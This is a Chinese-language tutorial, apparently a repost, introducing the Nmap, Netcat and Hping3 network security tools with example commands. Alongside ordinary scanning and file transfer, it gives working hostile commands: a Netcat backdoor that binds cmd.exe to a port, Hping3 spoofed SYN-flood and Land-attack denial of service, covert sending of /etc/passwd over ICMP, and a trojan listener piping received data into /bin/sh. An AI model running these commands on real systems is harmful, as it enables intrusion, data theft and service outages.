在網(wǎng)絡(luò)安全領(lǐng)域,Nmap、Netcat、Hping3都是安全工程師必備的工具。Nmap主要作為端口掃描器,偵查目標(biāo)機(jī)的端口及服務(wù)狀態(tài);而Netcat則整合了網(wǎng)絡(luò)中各種常用功能(如后門、文件傳輸、端口掃描、端口轉(zhuǎn)發(fā)等等),能輔助完成豐富的操作;Hping3主要作為特定的TCPIP數(shù)據(jù)包產(chǎn)生與解析的工具,當(dāng)然也可用于Ping操作。
1 Nmap
核心應(yīng)用:搜集基本信息
1.1 Nmap簡介
Nmap是目前業(yè)界最為知名、最為強(qiáng)大的端口掃描器。它是由Fyodor創(chuàng)建的開源軟件,在1997年首次發(fā)布。十多年來,Nmap開發(fā)團(tuán)隊(duì)一直不停地對其維護(hù)、更新,并規(guī)劃開發(fā)新的功能。Nmap在安全領(lǐng)域內(nèi)非常流行,像滲透工具M(jìn)etasploit、漏洞掃描工具openVAS等工具都內(nèi)置了Nmap,而漏洞掃描工具Nessus也支持導(dǎo)入Nmap掃描結(jié)果。
Nmap是主要用于基本的信息的搜集,包括主機(jī)活動(dòng)狀態(tài)、主機(jī)端口開放狀況、應(yīng)用服務(wù)及版本、操作系統(tǒng)與設(shè)備類型等等。另外Nmap完全支持IPv6;而Nmap腳本引擎(NSE)結(jié)合內(nèi)置的豐富的Lua腳本讓其支持的功能更加全面、更加精細(xì)(如提供豐富的HTTP相關(guān)的掃描腳本)。
1.2 Nmap功能
Nmap功能用法非常簡單,這里簡要回顧一下:
1.2.1 主機(jī)發(fā)現(xiàn)
nmap -sn -T4 targetip
1.2.2 端口掃描
nmap -T4 -s[scan method] -p[portrange] targetip
1.2.3 服務(wù)與版本偵測
nmap -T4 -sV targetip
1.2.4 操作系統(tǒng)掃描
nmap -T4 -O targetip
1.3 簡單示例
(掃描目標(biāo)機(jī)的端口與OS類型):
詳細(xì)使用方法參考: http://www.2cto.com/Article/201210/158960.html
2 Netcat
核心應(yīng)用:完成網(wǎng)絡(luò)中各種輔助操作,被稱作TCPIP的瑞士軍刀2.1 Netcat簡介
Netcat用于從TCP/UDP連接中讀取或發(fā)送網(wǎng)絡(luò)數(shù)據(jù)。cat是Linux中查看或連接文件的命令,所以netcat本意為從網(wǎng)絡(luò)上查看文件內(nèi)容。而Netcat的作者Hobbit為它添加了非常豐富的功能,使它幾乎能夠完成網(wǎng)絡(luò)操作中各式各樣的操作,所以Netcat在網(wǎng)絡(luò)安全領(lǐng)域被稱作“TCPIP的瑞士軍刀”("Swiss-army knife forTCP/IP")。
Netcat穩(wěn)定版1.10由Hobbit在1996年3月發(fā)布(開源軟件),之后作者沒有再對其進(jìn)行維護(hù),但該工具十多年來依然在被廣泛地使用,而且基于Netcat的各種衍生工具也層出不窮,他們在很多方面增強(qiáng)或擴(kuò)展了Netcat的功能。
Nmap團(tuán)隊(duì)開發(fā)了Ncat作為Netcat的升級版本,增加了更多的功能,讓其更能適應(yīng)現(xiàn)代網(wǎng)絡(luò)環(huán)境的需求。
2.2 Netcat功能
2.2.1 網(wǎng)絡(luò)連接
類似于Telnet的功能,使用Netcat能夠簡便地登錄到目標(biāo)機(jī)上開放的端口。
例如,
nc mail.server.net 25
向mail.server.net的25號TCP端口發(fā)起連接。
2.2.2 端口掃描
Netcat同樣可以進(jìn)行端口掃描,但與Nmap相比,它的性能及使用范圍都很有限。如果只想簡單地探測幾個(gè)端口的開放狀態(tài),使用Netcat也可行。
端口掃描格式如下:
nc –v –z hostnameport[s]
實(shí)例:
nc –v –z www.yahoo.com 80 22
掃描yahoo網(wǎng)站的80、22端口,判斷其是否開放。
2.2.3 文件傳輸
Netcat最初的用途就是文件傳輸,它可以像Cat命令一樣將讀取的文件重定向到網(wǎng)絡(luò)上的另外的文件。Netcat在網(wǎng)絡(luò)應(yīng)用中既可以當(dāng)做服務(wù)器端,開啟本機(jī)一個(gè)監(jiān)聽端口,也可以作為客戶端向其他服務(wù)器端口發(fā)起連接。所以,文件傳輸,即是在兩端分別運(yùn)行Netcat。
在接受端,運(yùn)行Netcat開啟端口監(jiān)聽服務(wù)。
nc –L –p 4444 >receivedfile.zip
此處-L啟動(dòng)監(jiān)聽模式(即作為服務(wù)器端),開啟4444端口,將接受到的數(shù)據(jù)寫入到文件somefile.zip中。
而在發(fā)送端,只需連接該服務(wù)器端開放的端口,并選擇需要發(fā)送的文件。
nc 192.168.1.43 4444< testfile.zip
使用<符號輸入testfile.zip文件,并向目標(biāo)機(jī)的4444端口發(fā)起連接。在建立連接成功后,發(fā)送端會(huì)將文件傳送到接收端,接受端將收到的數(shù)據(jù)寫入receivedfile.zip文件。整個(gè)過程,比較類似于cat命令,因?yàn)榫唧w的網(wǎng)絡(luò)傳輸過程由Netcat負(fù)責(zé)。
2.2.4 開啟后門
Netcat甚至也可以用作后門程序。如果用戶已經(jīng)侵入到一臺計(jì)算機(jī),那么讓該計(jì)算機(jī)在開機(jī)后(或其他條件下)自動(dòng)啟動(dòng)Netcat,打開指定的端口,等待用戶連接,在連接成功后執(zhí)行特定程序(如cmd.exe,以便遠(yuǎn)程執(zhí)行命令)。
nc –L –p 4444 –e cmd.exe
以監(jiān)聽模式啟動(dòng)Netcat,開啟TCP端口4444,在與客戶端成功建立連接后,執(zhí)行cmd.exe程序(-e cmd.exe,此處為用戶打開命令行執(zhí)行窗口,用戶可以通過命令操作此計(jì)算機(jī))。
在客戶端,直接連接目標(biāo)機(jī)的4444端口即可。
nc 192.168.1.43 4444
連接后,客戶端可以接收到一個(gè)命令行窗口。
2.2.5 端口轉(zhuǎn)發(fā)
端口轉(zhuǎn)發(fā)(PortForwarding)也是Netcat比較實(shí)用的用法。先將Netcat作為服務(wù)器接收其他主機(jī)的連接,然后將連接的數(shù)據(jù)轉(zhuǎn)發(fā)另外的目標(biāo)機(jī)端口。
比如:
mkfifo backpipe
nc -l 12345 0<backpipe | nc www.google.com 801>backpipe
比如,此處開啟端口12345,作為www.google.com的代理。其他無法直接登陸google的用戶可以通過此代理端口來與google進(jìn)行交互。這里創(chuàng)建了一個(gè)fifo,是為實(shí)現(xiàn)雙向數(shù)據(jù)通訊,因?yàn)楣艿肋\(yùn)算符本身是單向的。
2.2.6 標(biāo)語提取
標(biāo)語提取(BannerGrabbing)的含義是抓取應(yīng)用程序在建立連接后打印的標(biāo)語提示信息,例如建立FTP連接后,F(xiàn)TP服務(wù)器可能打印出提示信息:FTP xxx.xxx等數(shù)據(jù)。
所以,根據(jù)服務(wù)器打印的信息,有時(shí)可以推斷出對方服務(wù)程序的詳細(xì)版本。這也是Nmap進(jìn)行服務(wù)與版本偵測采用方法。
例如,首先創(chuàng)建一份文件,包含以下文本:
[plain] view plaincopy
HEAD / HTTP/1.0
<return>
<return>
然后,將此文件發(fā)送到目標(biāo)服務(wù)器的80端口,誘發(fā)對方發(fā)送HTTP首部數(shù)據(jù)。
cat file>nc -vv -w 2 www.cnn.com 80 >output.txt
然后可從output.txt查看到對方的發(fā)送的HEAD的標(biāo)語信息。
2.2.7 其他功能
Netcat其他常用的功能:
支持完全的DNS轉(zhuǎn)發(fā)、逆向檢查
支持用戶指定源端口
支持用戶指定源端IP地址
內(nèi)置寬松源路由能力(loosesource-routing capability)
慢速發(fā)送模式,可指定每隔多少秒發(fā)送一行文本
將發(fā)送或接收數(shù)據(jù)以16進(jìn)制格式導(dǎo)出
3 Hping3
核心應(yīng)用:靈活地構(gòu)建TCPIP數(shù)據(jù)包
3.1 Hping3介紹
Hping是用于生成和解析TCPIP協(xié)議數(shù)據(jù)包的開源工具。創(chuàng)作者是Salvatore Sanfilippo。目前最新版是Hping3,支持使用tcl腳本自動(dòng)化地調(diào)用其API。Hping是安全審計(jì)、防火墻測試等工作的標(biāo)配工具。
Hping優(yōu)勢在于能夠定制數(shù)據(jù)包的各個(gè)部分,因此用戶可以靈活對目標(biāo)機(jī)進(jìn)行細(xì)致地探測。
而Nmap團(tuán)隊(duì)也開發(fā)了一款類似的工具Nping,集成在Nmap的安裝包中。
3.2 Hping3功能
Hping3主要有以下典型功能應(yīng)用:
3.2.1 防火墻測試
使用Hping3指定各種數(shù)據(jù)包字段,依次對防火墻進(jìn)行詳細(xì)測試。請參考:http://0daysecurity.com/articles/hping3_examples.html
測試防火墻對ICMP包的反應(yīng)、是否支持Traceroute、是否開放某個(gè)端口、對防火墻進(jìn)行拒絕服務(wù)攻擊(DoS attack)。
例如,以LandAttack方式測試目標(biāo)防火墻(Land Attack是將發(fā)送源地址設(shè)置為與目標(biāo)地址相同,誘使目標(biāo)機(jī)與自己不停地建立連接)。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
3.2.2 端口掃描
Hping3也可以對目標(biāo)端口進(jìn)行掃描。Hping3支持指定TCP各個(gè)標(biāo)志位、長度等信息。
以下示例可用于探測目標(biāo)機(jī)的80端口是否開放:
hping3 -I eth0 -S 192.168.10.1 -p 80
其中-Ieth0指定使用eth0端口,-S指定TCP包的標(biāo)志位SYN,-p 80指定探測的目的端口。
hping3支持非常豐富的端口探測方式,Nmap擁有的掃描方式hping3幾乎都支持(除開connect方式,因?yàn)镠ping3僅發(fā)送與接收包,不會(huì)維護(hù)連接,所以不支持connect方式探測)。而且Hping3能夠?qū)Πl(fā)送的探測進(jìn)行更加精細(xì)的控制,方便用戶微調(diào)探測結(jié)果。
當(dāng)然,Hping3的端口掃描性能及綜合處理能力,無法與Nmap相比。一般使用它僅對少量主機(jī)的少量端口進(jìn)行掃描。
3.2.3 Idle掃描
Idle掃描(Idle Scanning)是一種匿名掃描遠(yuǎn)程主機(jī)的方式,該方式也是有Hping3的作者Salvatore Sanfilippo發(fā)明的,目前Idle掃描在Nmap中也有實(shí)現(xiàn)。
該掃描原理是:尋找一臺idle主機(jī)(該主機(jī)沒有任何的網(wǎng)絡(luò)流量,并且IPID是逐個(gè)增長的),攻擊端主機(jī)先向idle主機(jī)發(fā)送探測包,從回復(fù)包中獲取其IPID。冒充idle主機(jī)的IP地址向遠(yuǎn)程主機(jī)的端口發(fā)送SYN包(此處假設(shè)為SYN包),此時(shí)如果遠(yuǎn)程主機(jī)的目的端口開放,那么會(huì)回復(fù)SYN/ACK,此時(shí)idle主機(jī)收到SYN/ACK后回復(fù)RST包。然后攻擊端主機(jī)再向idle主機(jī)發(fā)送探測包,獲取其IPID。那么對比兩次的IPID值,我們就可以判斷遠(yuǎn)程主機(jī)是否回復(fù)了數(shù)據(jù)包,從而間接地推測其端口狀態(tài)。
3.2.4 拒絕服務(wù)攻擊
使用Hping3可以很方便構(gòu)建拒絕服務(wù)攻擊。
比如對目標(biāo)機(jī)發(fā)起大量SYN連接,偽造源地址為192.168.10.99,并使用1000微秒的間隔發(fā)送各個(gè)SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻擊如smurf、teardrop、land attack等也很容易構(gòu)建出來。
3.2.5 文件傳輸
Hping3支持通過TCP/UDP/ICMP等包來進(jìn)行文件傳輸。相當(dāng)于借助TCP/UDP/ICMP包建立隱秘隧道通訊。
實(shí)現(xiàn)方式是開啟監(jiān)聽端口,對檢測到的簽名(簽名為用戶指定的字符串)的內(nèi)容進(jìn)行相應(yīng)的解析。
在接收端開啟服務(wù):
hping3 192.168.1.159--listen signature --safe --icmp
監(jiān)聽ICMP包中的簽名,根據(jù)簽名解析出文件內(nèi)容。
在發(fā)送端使用簽名打包的ICMP包發(fā)送文件:
hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd
將/etc/passwd密碼文件通過ICMP包傳給192.168.10.44主機(jī)。發(fā)送包大小為100字節(jié)(-d 100),發(fā)送簽名為signature(-sign signature)。
3.2.6 木馬功能
如果Hping3能夠在遠(yuǎn)程主機(jī)上啟動(dòng),那么可以作為木馬程序啟動(dòng)監(jiān)聽端口,并在建立連接后打開shell通信。與Netcat的后門功能類似。
示例:本地打開53號UDP端口(DNS解析服務(wù))監(jiān)聽來自192.168.10.66主機(jī)的包含簽名為signature的數(shù)據(jù)包,并將收到的數(shù)據(jù)調(diào)用/bin/sh執(zhí)行。
在木馬啟動(dòng)端:
hping3 192.168.10.66--listen signature --safe --udp -p 53 |/bin/sh
在遠(yuǎn)程控制端:
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
將包含ls命令的文件加上簽名signature發(fā)送到192.168.10.44主機(jī)的53號UDP端口,包數(shù)據(jù)長度為100字節(jié)。
當(dāng)然這里只是簡單的演示程序,真實(shí)的場景,控制端可以利益shell執(zhí)行很多的高級復(fù)雜的操作